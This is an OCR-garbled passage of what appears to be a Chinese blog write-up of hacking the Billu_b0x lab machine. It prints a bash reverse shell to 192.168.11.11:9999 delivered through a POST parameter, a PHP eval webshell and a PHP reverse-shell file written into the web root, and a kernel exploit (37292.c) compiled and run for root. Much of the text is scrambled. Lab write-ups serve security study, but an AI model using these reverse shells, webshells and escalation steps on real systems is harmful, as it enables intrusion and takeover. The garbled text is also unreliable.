head.php
head2.php
images
in.php
index.php
panel.php
phpmy
shell.php
show.php
test.php
uploaded_images

MR, At AT DA bash R & L R #ishell T, hack{E B LR &3 & #ishelldy 4

® hack=echo "bash -i >& /dev/tcp/192.168.11.11/9999 ©>&1" | bash

Ch 3 1 R #sheliE4), Fbash®iEiT)




ERZXHAR AT U hS, AR TR SRR T4, £ HBurpSuitffiDecodert& Hext #dfE urléh s :

echo "bash - =& /dev/tcp/192.168.11.11/9999 0=&1" | bash

20%3e%26%20%2M%64%65%T6%21% T4%63%70%21%31%39%32%26%31%36%38%26%31%31%2e%31%31% 2% 30%39%39%39%20%30%36%26 % 31%22%20%7C %20%62%61 % 7 3%68

<7 N ¥

Raw ParamsIHeadersTHex] Raw Headers Hex HTML Render

POST /panel php HTTP/1.1

Host 192 168.11.22

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64; rv.74.0) Gecka/20100101 Firefox/74.0
Accept text/html application/xhtml+xml application/xml;q=0 9 image/webp */*;,q=0.8

N

Ac

¥

ccept-Language: zh-CMN zh;q=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;g=0.2
cept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 224

Origin: http://192 168.11 22

Cannection: close

Referer: hitp:/192.168.11.22/panel php

Cookie: PHPSESSID=jjneulif3aon2c9l87ani7okdd;
BEEFHOOK=5GUXMfoLxBLoi2e2yh7tS19te QOF ThIhMLKMUDS0GEqELR 9gx2HKkBhnSbUYIggPJ9g
RESWMWNmMRoWAWY

Upgrade-Insecure-Requests: 1

fEkali b8 Fnclir9999us 1, &AL BI ] & . shelli&E#E,

:~/Desktop# nc -lvp 9999
listening on [any] 9999 ...
192.168.11.22: inverse host lookup failed: Unknown host
connect to [192.168.11.11] from (UNKNOWN) [192.168.11.22] 42301
bash: no job control in this shell
www-data@indishell:/var/www$ whoami
whoami
www-data
www-data@indishell: /var/www$

Yi¥e 2 ai G FIAE % F P xiaohei, R/~ TREEEH— Merminal?F8%, #F LA T pythoni& A G — Merminal3f 3%, BI AT Y)# £ root
P

python -c 'import pty;pty.spawn("/bin/bash™)




www-data@indishell:/var/www$ su xiaohel

su xiaohel

su: must be run from a terminal

www-data@indishell:/var/www$ python -c 'import pty;pty.spawn("/bin/bash")’
python -c 'import pty;pty.spawn("/bin/bash™)’

www-data@indishell:/var/www$ su xiaoheil

su xiaoheil

Password: xiaohei

# :id cff;::::::::;:ﬂﬁfﬁﬁ#-
id

uid:ﬂ(root) gid:@(root) groups=0(root) https:/fblog.csdn.net/qq_43968080

3) EENRKEFE AphpKRE (Webshell fl jx # 41 shelD

H—NEEBRKE R, BphpAKRG 34 shell.php , ELIIRIAH) . /uploaded_images H

www-data@indishell: /var/www/uploaded images$ echo '<?php @eval($ POST["hack"]);
?>' >> shell.php

</uploaded_images$ echo '<?php @eval($_POST["hack"]); ?>' >> shell.php
www-data@indishell: /var/www/uploaded_images$ cat shell.php

cat shell.php

<?php @eval($_POST["hack"]); ?>
www-data@indishell:/var/www/uploaded_imagess$ |

WONEREENTT, XZEWebshell, J7 (X} 5k s SCH#EAT B4

: /
: Linux indishell 3.13.0-32-generic §57~precisel-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686
F: www-data

https://blog.csdn.net/qq_43968080

3R, EECRT, BT ATLEAN—1Webshelljphp AR L, & UE—/ R #Hshell)<iE KL rev_shell.php o
f§ Flecholalrev_shell.php 35 AN LLTiE4], I KR php system % % v 418 FH R 3

echo '<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 ©>&1" | bash'); ?>' >> rev_shell.php




root@indishell:/var/www# cat rev_shell.php
<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>

root@indishell:/var/www#

e 7E kali W5 U 48 %€ ¥ 19999,  ZE W Yo 287 18] ;R #ishell LA rev_shell.php , BIRI@IR#shell, < J5#B87] DLEAT S

= 192.168.11.22/rev_shell.php X +

&« X ® Y & 192.168.11.22/rev shell.php

I Kali-Linux-19.3 - VMware Workstation - O b4
FEE) BAB(E) EE(Y) SRWLM) SRR FEEH) v | O 5 0 0 H=IXoJ X |IE
X Kali-Linux-19.3 . Billu_b0x root 123456
FAMEARERITIEER h GE~ [ e~ B8 10:45
] it root@kali: ~/Desktop
4 S s XE(F) RIEE) BHE(V) RS) EWT) BEAH)
_qiiﬁzizrﬂummm1&4'” :~/Desktop# service ssh stop
) Windows 7 :~/Desktop# service ssh start
| Windows 7-2 :~/Desktop# 1s
[ Windows XP Pro - 1123
# [ Linux = ipt res.txt
= I B 182.168.11.22-webfile.txt

| Metasploitable2-Linux

| OWASPBWA ™ SSHScan

7] Bulldog2dirty-pass A . :~/Desktop# nc -lvp 9999
| Lazysysadmin listening on [any] 9999
! Billu_bOx root 123456 o 192.168.11.22: inverse host lookup failed: U
[ 1! Dina-1-0-1firefart123 nknown host
Rt connect to [192.168.11.11] from (UNKNOWN) |[1

FERERIL :: 92.168.11.22] 42326
bash: no job control in this shell
www-data@indishell:/var/www$ |
BEA\ SRS, BISSIRE SR Ctrl G, L L EE N
index 1 i & % 3 0t .

MR _E KA K WriteUp, 78 512 EHLIE AT AR A WA IR TR EAT 12 E 1R AL

FMAA 2K Webshell, /L TEAEE BARENRGENZRA LK LinuxR A

uname -a

cat /etc/issue

www-data@indishell:/var/www$ uname -a && cat /etc/issue

uname -a && cat /etc/issue
Linux indishell 3.13.0-32-generic #57~precisel-Ubuntu SMP Tue Jul 15 03:50:54 U




Ubuntu 12.04.5 LTS \n \1

www-data@indis hell:/va F/WW$ ‘ https://blog.csdn.net/qq

BB NZAR AR Linux indishell 3.13.0-32-generic , RAMAR Ubuntu 12.04.5 LTS, fEkaliLEH#HEH Fexp

:~/Desktop# searchsploit Ubuntu 12.04

Exploit Title
(/usr/share/exploitdb/)

Linux Kernel i exploits/linux/dos/41767.txt

Linux Kernel 3.13. . ! exploits/linux/local/37292.c

Linux Kernel 3.13. . - exploits/linux/local/37293.txt

Linux Kernel 3.2. .5. exploits/linux_x86-64/local/33589.c

Linux Kernel 2. exploits/linux_x86-64/local/34134.c

Linux Kernel . exploits/linux/local/44299.c
exploits/linux/local/36820.txt

Shellcodes: No Result blog.csdn.net/aq_
SRS, P AT AT AR

:~/Desktop# cp /usr/share/exploitdb/exploits/linux/local/37292.c ./
:~/Desktop# “ts—%

SHE 96

-rw-r--r-- 1 root root 5 18 22 03:22 123

-rw-r--r-- 1 root root 0 4H 3 11:05 182.168.11.22-webfile.txt
-rw-r--r-- 1 root root 5119 48 5 06:03 37292.c

drwxr-xr-x 5 root root 4096 4H 1 02:46 CMSmap

-rw-r--r-- 1 root root 12224 3H 25 08:36 nmap-script https:/blog.csdn.net/gq_4:

& FiXshellk 1% ZWindowsZ3h, FFWebshell i &% H FAZEM BT

4 == [0 192.168.11.22 »
O B3r¥i (0) < [ fE3lEk (15) IS

= oOFE ~ AHLE CRIH & TBR A B » | jvar/www/uploaded_images/ > EH

S £ . B Ao B

i -ww:rpbaded_images 37292.c f/”"/; 2020-04-05 15:54:35 5 Kb 0644

M images @ CaptBarbossa. PG 2017-03-29 14:11:09 462.63 Kb 0777

— B aaaipg 2020-04-05 09:54:47 74.26 Kb 0644

@ c.JPG 2017-03-29 14:11:09 328.76 Kb 0777

18 BB BR 9 7T $hAT ST A

www-data@indishell: /var/www/uploaded images$ chmod 777 37292.c
chmod 777 37292.c

www-data@indishell:/var/www/uploaded images$ 1ls -1

1s -1

total 1340

~rwxrwxrwx 1 www-data www-data 5119 Apr 5 15:54 37292.c
-rwxXrwxrwx 1 root root 473729 Mar 29 2017 CaptBarbossa.JPG




-rw-r--r-- 1 www-data www-data 76043 Apr 5 09:54tadacgpgn.netaa_

fFFgecmFECM:  gee 37292.¢ -0 exp , PHATEIATIRA ZErooth R

www-data@indishell:/var/www/uploaded images$ gcc 37292.c -0 exp
gcc 37292.c -0 exp

www-data@indishell: /var/www/uploaded images$ ./exp
./exp

spawning threads

mount #1

mount #2

child threads done

/etc/ld.so.preload created

creating shared library

sh: 0: can't access tty; job control turned off

# id

uid=0(root) gid=0(root) groups=0(root),33(www-data)
# whoami

https://blog.csdn.net/agq_4

1. AREERNKI T H LT JLAk:

2, AR A:

5 RaFI A b SUFEE =S 30, Bl —MWebshell, {HRWebshellfI A #EMEAR R, —Mk R BEXT MSh AT AH R84, TG
B BAs RALHEIES], TR T LT BA NIk # shellfiphp3tfF, Z5R8Ih T !

php X s InE R N T .

<?php system('echo "bash -i >& /dev/tcp/192.168.11.11/9999 ©>&1" | bash'); ?>

2 Ja W RE S 1, U5 OO, BIATE L e B#shell
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